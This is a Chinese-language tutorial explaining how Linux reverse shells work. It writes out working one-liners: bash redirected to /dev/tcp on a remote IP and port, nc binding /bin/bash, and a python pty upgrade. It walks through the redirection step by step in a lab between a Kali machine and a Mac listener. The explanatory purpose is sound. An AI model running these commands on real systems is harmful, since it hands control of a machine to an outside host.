linux反弹shell的原理详解

 更新时间:2020年10月16日 10:06:59   作者:Shanfenglan7  
这篇文章主要介绍了linux反弹shell的原理详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

完整命令

反弹shell命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1

利用nc反弹shell:

nc -lvvp 12345 -t -e /bin/bash

原理

bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开一个交互式的bash
&是为了区分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

实验

通过一个小实验帮助大家理解

第一步,将shell的正确输出重定向到外部主机

假设我们在kali上输入的命令为:
bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

在mac上监听端口命令为:nc -l 9999

在这里插入图片描述

首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

在这里插入图片描述

但是当我们在kali上出入错误命令的时候,却存在回显。

在这里插入图片描述

第二步,将错误输出重定向到外部主机

我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。

在这里插入图片描述

这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:

在这里插入图片描述

这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

第三步,交出输入权限

只需要在第二步命令的基础上加上 0>&1即可。

在这里插入图片描述

这时候已经可以在mac上完全控制kali的shell了,实验结束。

其他

当shell不稳定时候用python的虚拟化终端:

python -c "import pty;pty.spawn('/bin/bash')"

参考:
https://www.freebuf.com/news/142195.html #将shell转换成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017

到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • linux系统中的列出敏感用户的脚本代码

    linux系统中的列出敏感用户的脚本代码

    这里的敏感用户是指这个用户属于多个组,或者这个用户属于的组名跟这个用户名不一样,需要的朋友可以参考下
    2014-09-09
  • Shell脚本实现IP地址合法性判断

    Shell脚本实现IP地址合法性判断

    这篇文章主要介绍了Shell脚本实现IP地址合法性判断,本文给出了实现代码和运行代码,需要的朋友可以参考下
    2014-10-10
  • Shell脚本实现随机数多种方法介绍(date、random、uuid)

    Shell脚本实现随机数多种方法介绍(date、random、uuid)

    这篇文章主要介绍了Shell脚本实现随机数多种方法介绍,本文讲解了通过时间获得随机数、通过内部系统变量、通过系统内部唯一数据生成随机数等方法,需要的朋友可以参考下
    2014-11-11
  • csh,tcsh,bash,sh等shell的区别

    csh,tcsh,bash,sh等shell的区别

    这篇文章主要介绍了linux下csh, tcsh,bash, sh等shell的区别?,需要的朋友可以参考下
    2014-02-02
  • shell脚本发送http请求的实现示例

    shell脚本发送http请求的实现示例

    本文主要介绍了shell脚本发送http请求的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-04-04
  • Linux链接命令的实例详解

    Linux链接命令的实例详解

    这篇文章主要介绍了Linux链接命令的实例详解的相关资料,希望通过本文大家能掌握Linux链接命令的使用方法,需要的朋友可以参考下
    2017-08-08
  • 深入理解Shell输出颜色与控制

    深入理解Shell输出颜色与控制

    在Linux shell或者平时echo输出时有时为了区分某些字符串的重要性,往往对其输出内容添加颜色以醒目区分。下面这篇文章就主要介绍了关于Shell输出颜色与控制,有需要的朋友们可以参考借鉴,下面来一起看看吧。
    2016-12-12
  • Ubuntu下定时提交代码到SVN服务器的Shell脚本分享

    Ubuntu下定时提交代码到SVN服务器的Shell脚本分享

    这篇文章主要介绍了Ubuntu下定时提交代码到SVN服务器的Shell脚本分享,本文直接给出实现代码,需要的朋友可以参考下
    2015-03-03
  • 如何使用date获取时间戳

    如何使用date获取时间戳

    这篇文章主要介绍了如何使用date获取时间戳,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-08-08
  • shell实现猜数字小游戏

    shell实现猜数字小游戏

    这篇文章主要为大家详细介绍了shell实现猜数字小游戏,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2020-04-04

最新评论